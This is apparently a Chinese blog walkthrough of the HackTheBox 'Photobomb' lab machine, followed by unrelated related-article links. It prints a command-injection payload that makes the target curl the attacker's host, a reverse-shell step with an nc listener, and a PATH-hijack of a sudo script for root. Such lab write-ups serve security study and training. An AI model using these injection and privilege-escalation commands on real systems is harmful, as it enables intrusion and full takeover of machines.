• HackTheBox Photobomb 命令注入与远程代码执行和环境变量提权


    在这里插入图片描述
    题目网址:

    https://app.hackthebox.com/machines/Photobomb
    
    • 1

    枚举

    使用nmap枚举靶机

    nmap -sC -sV -p- 10.10.11.182
    
    • 1

    在这里插入图片描述

    这里发现了域名,我们本地dns解析一下

    echo "10.10.11.182 photobomb.htb" >> /etc/hosts
    
    • 1

    **加粗样式**

    然后就是常规的枚举网站子域名,网站目录,查找网站框架的漏洞什么的,这些我都做了,但是没什么突破点,只能去网页上看看了

    在这里插入图片描述

    在这里插入图片描述

    点击后会让我们输入账号和密码

    查看了一下网站源码,发现有一个js文件

    在这里插入图片描述

    在这里插入图片描述

    点击跳转

    在这里插入图片描述

    这个文件是刚刚登录框的js文件,这里应该是账号和密码,然后返回登录

    在这里插入图片描述

    在这里插入图片描述

    命令注入与远程代码执行

    登录后可以下载一些图片,然后就没其他的了,我们使用burp抓一下下载的包

    在这里插入图片描述

    ctrl+r

    在这里插入图片描述

    现在就是测试参数有没有命令注入的漏洞,开启python http

    python3 -m http.server 80
    
    • 1

    在这里插入图片描述

    然后回到burp里测试参数,photo和dimensions都没有,在测试到filetype参数的时候就有突破点了

    photo=voicu-apostol-MWER49YaD-M-unsplash.jpg;curl+10.10.14.8&filetype=jpg&dimensions=3000x2000
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    kali收到靶机发出的访问信息,现在我们就该反弹shell了

    获取用户权限

    这里推荐这个网站,可以生成很多的反弹shell

    https://www.revshells.com/
    
    • 1

    在这里插入图片描述

    我们使用这个payload,空格都替换为+

    在这里插入图片描述

    然后kali使用nc监听指定的端口

    nc -nvlp 5555
    
    • 1

    然后发送payload

    在这里插入图片描述

    在这里插入图片描述

    成功获得用户权限

    环境变量提权

    查看当前用户可以用sudo执行什么东西

    sudo -l
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    #!/bin/bash
    . /opt/.bashrc
    cd /home/wizard/photobomb
    
    # clean up log files
    if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
    then
      /bin/cat log/photobomb.log > log/photobomb.log.old
      /usr/bin/truncate -s0 log/photobomb.log
    fi
    
    # protect the priceless originals
    find source_images -type f -name '*.jpg' -exec chown root:root {} \;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    这只是个bash脚本,功能是获取日志文件并将其内容移动到photobomb.log.old然后使用truncate清除photobomb.log

    最关键的地方就是最后一行的这个命令,他find使用的是相对路径,而不是绝对路径,也就是说,我们改变一下环境变量,然后在当前目录创建一个find文件,里面写一个shell,之后用sudo执行的时候,就能直接获得root权限

    echo "/bin/bash" > find
    chmod +x find 
    sudo PATH=$PWD:$PATH /opt/cleanup.sh   //更改环境变量为当前目录
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    成功获得root权限

    在这里插入图片描述

  • 相关阅读:
    20231012_python练习_服务端与客户端数据交互v2_增加xlsx表格数据批量导入数据库
    微前端集成模式:独立部署与共享依赖
    智能汽车行业软件供应链安全威胁与解决方案分享——小米IoT安全峰会
    横向对比 npm、pnpm、tnpm、yarn 优缺点
    react中受控组件与非受控组件
    WSL构建nRF5 SDK + ARM GCC开发环境 – RTT打印调试日志
    什么是FutureTask ?
    什么是网站监控,网站监控软件有什么用?
    c++ 常用STL 之set
    基于JAVA SpringBoot和HTML美食网站博客程序设计
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127727429